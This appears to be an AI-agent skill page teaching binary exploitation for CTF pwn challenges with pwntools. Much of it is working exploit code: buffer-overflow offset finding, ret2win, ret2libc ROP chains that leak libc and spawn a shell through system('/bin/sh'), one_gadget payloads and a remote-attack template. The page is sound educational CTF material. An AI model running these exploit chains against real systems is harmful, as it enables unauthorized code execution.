Loading...
Loading...
Binary exploitation patterns using pwntools for buffer overflows, ROP chains, and shellcode in CTF challenges. Trigger: When solving pwn challenges, buffer overflows, ROP chains, or writing exploits.
npx skill4agent add g36maid/ctf-arsenal pwn-exploits# Search for interesting strings
strings ./vuln | grep -iE "flag|password|key|secret|admin"
# Check binary protections
checksec ./vuln
# Examine file type and architecture
file ./vuln# Batch decompile with Ghidra headless mode (RECOMMENDED)
./ghidra_headless/decompile_headless.sh ./vuln output.c
# Or use Python wrapper (legacy)
python tools/decompile.py ./vuln
# Or manually open in Ghidra GUI
ghidragets()strcpy()scanf()read()system("/bin/sh")execve()print_flag()| Protection | Status | Exploitation Strategy |
|---|---|---|
| PIE | Enabled | Need address leak for code/data addresses |
| PIE | Disabled | Can use hardcoded addresses directly |
| NX | Enabled | Cannot execute shellcode on stack, use ROP |
| NX | Disabled | Can write shellcode to buffer and execute |
| Stack Canary | Enabled | Need canary leak or bypass technique |
| Stack Canary | Disabled | Direct buffer overflow exploitation |
| RELRO Full | Enabled | Cannot overwrite GOT entries |
| RELRO Partial | Enabled | Can overwrite GOT for hijacking |
from pwn import *
# Generate cyclic pattern
io = process('./vuln')
payload = cyclic(500)
io.sendline(payload)
io.wait()
# After crash, examine core dump or GDB
# Find the offset where control is hijacked
core = Coredump('./core')
offset = cyclic_find(core.read(core.rsp, 4)) # x86_64
# or
offset = cyclic_find(core.read(core.eip, 4)) # x86
log.info(f"Offset: {offset}")# Use offset_finder.py from tools/
# python tools/offset_finder.py ./vulnfrom pwn import *
exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
# Find win function address
win_addr = elf.symbols['win'] # or elf.symbols['print_flag']
# Build payload
payload = flat({
offset: [
win_addr
]
})
io = process(exe)
io.sendline(payload)
io.interactive()from pwn import *
exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
libc = ELF("./libc.so.6") # or ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
# Build ROP chain to leak puts@GOT
payload = flat({
offset: [
rop.find_gadget(['pop rdi', 'ret'])[0],
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main'] # Return to main for second exploit
]
})
io = process(exe)
io.sendline(payload)
io.recvuntil(b"expected_output")
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts@GOT: {hex(leak)}")
# Calculate libc base
libc.address = leak - libc.symbols['puts']
log.success(f"Libc base: {hex(libc.address)}")# Find /bin/sh string in libc
bin_sh = next(libc.search(b'/bin/sh\x00'))
# Build final ROP chain
payload2 = flat({
offset: [
rop.find_gadget(['ret'])[0], # Stack alignment (required for movaps)
rop.find_gadget(['pop rdi', 'ret'])[0],
bin_sh,
libc.symbols['system']
]
})
io.sendline(payload2)
io.interactive()from pwn import *
exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
def start(argv=[], *a, **kw):
"""Start the exploit in different modes"""
if args.GDB:
gdbscript = """
b *main
continue
"""
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], int(sys.argv[2]), *a, **kw)
else:
return process([exe] + argv, *a, **kw)
# Usage:
# python solve.py # Local process
# python solve.py GDB # Debug with GDB
# python solve.py REMOTE IP PORT # Remote connectionfrom pwn import *
elf = ELF("./vuln")
rop = ROP(elf)
# Method 1: Automatic ROP chain
rop.call('puts', [elf.got['puts']])
rop.call('main')
# Method 2: Manual gadget selection
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
payload = flat({
offset: [
ret, # Stack alignment
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
]
})| Task | Command |
|---|---|
| Generate cyclic pattern | |
| Find offset from crash | |
| Pack 64-bit integer | |
| Pack 32-bit integer | |
| Unpack 64-bit bytes | |
| Unpack 32-bit bytes | |
| Launch with GDB | |
| Connect remote | |
| Local process | |
| Build structured payload | |
| Find ROP gadgets | |
| Search bytes in binary | |
# System call setup
pop_rdi = 0x400123 # pop rdi; ret (1st argument)
pop_rsi = 0x400456 # pop rsi; ret (2nd argument)
pop_rdx = 0x400789 # pop rdx; ret (3rd argument)
pop_rax = 0x400abc # pop rax; ret (syscall number)
# Stack alignment (REQUIRED for recent libc)
ret = 0x400001 # ret
# Useful symbols
bin_sh = next(elf.search(b'/bin/sh\x00'))
system = elf.symbols['system'] # or libc.symbols['system']# Pwndbg commands
checksec # Check binary protections
vmmap # Memory mapping
telescope $rsp 20 # Stack view
cyclic 200 # Generate pattern
cyclic -l 0x61616161 # Find offset
rop # Search ROP gadgets
rop --grep "pop rdi" # Filter gadgets
got # GOT entries
plt # PLT entries
# Standard GDB
b *main # Breakpoint at address
b *0x401234
x/20gx $rsp # Examine stack (64-bit)
x/20wx $esp # Examine stack (32-bit)
x/20i $rip # Disassemble
info registers # Register values
set $rax = 0 # Modify registerimport re
def extract_flag(data):
"""Extract common CTF flag formats"""
patterns = [
r'flag\{[^}]+\}',
r'FLAG\{[^}]+\}',
r'CTF\{[^}]+\}',
r'picoCTF\{[^}]+\}',
r'HTB\{[^}]+\}',
r'[a-zA-Z0-9_]+\{[a-zA-Z0-9_@!?-]+\}',
]
text = data if isinstance(data, str) else data.decode('latin-1')
for pattern in patterns:
match = re.search(pattern, text)
if match:
return match.group(0)
return None
# Usage
io.recvuntil(b"output")
data = io.recvall()
flag = extract_flag(data)
if flag:
log.success(f"Flag: {flag}")# Find one-gadgets in libc (requires one_gadget gem)
one_gadget libc.so.6
# Use in exploit
one_gadget = libc.address + 0x4f3d5 # Offset from one_gadget output
payload = flat({offset: one_gadget})# BAD: Jumping straight to buffer overflow without understanding the binary
offset = 72 # Guessed
payload = b'A' * offset + p64(0xdeadbeef)# BAD: Hardcoded libc addresses
system_addr = 0x7ffff7a52290 # This won't work with ASLR
# GOOD: Calculate from leak
libc.address = leak - libc.symbols['puts']
system_addr = libc.symbols['system']# BAD: Direct call to system() may crash
payload = flat({offset: [pop_rdi, bin_sh, system]})
# GOOD: Add 'ret' gadget for alignment (movaps requirement)
payload = flat({offset: [ret, pop_rdi, bin_sh, system]})# BAD: Blindly sending payload without checking responses
io.sendline(payload)
io.interactive()
# GOOD: Check for errors and debug
io.sendline(payload)
response = io.recvuntil(b"expected", timeout=2)
if b"error" in response or b"invalid" in response:
log.error("Exploit failed, check payload")
exit(1)
io.interactive()templates/pwn_basic.pytemplates/pwn_rop.pytemplates/angr_template.pytools/checksec_quick.shtools/offset_finder.pytools/leak_parser.pytools/libc_lookup.pytools/rop_chain_skeleton.pytools/patch_ld_preload.shghidra_headless/ghidra_headless/decompile_headless.shghidra_headless/DecompileCLI.javaghidra_headless/README.mdgadgets/find_gadgets_ropgadget.shgadgets/find_gadgets_ropper.shgadgets/find_gadgets_rpplus.shgadgets/one_gadget_notes.mdreferences/quickref_gadgets.mdreferences/quickref_gdb.mdreferences/gdb_cheatsheet.mdreferences/ret2libc_checklist.mdreferences/usage_guide.mdgdb_init/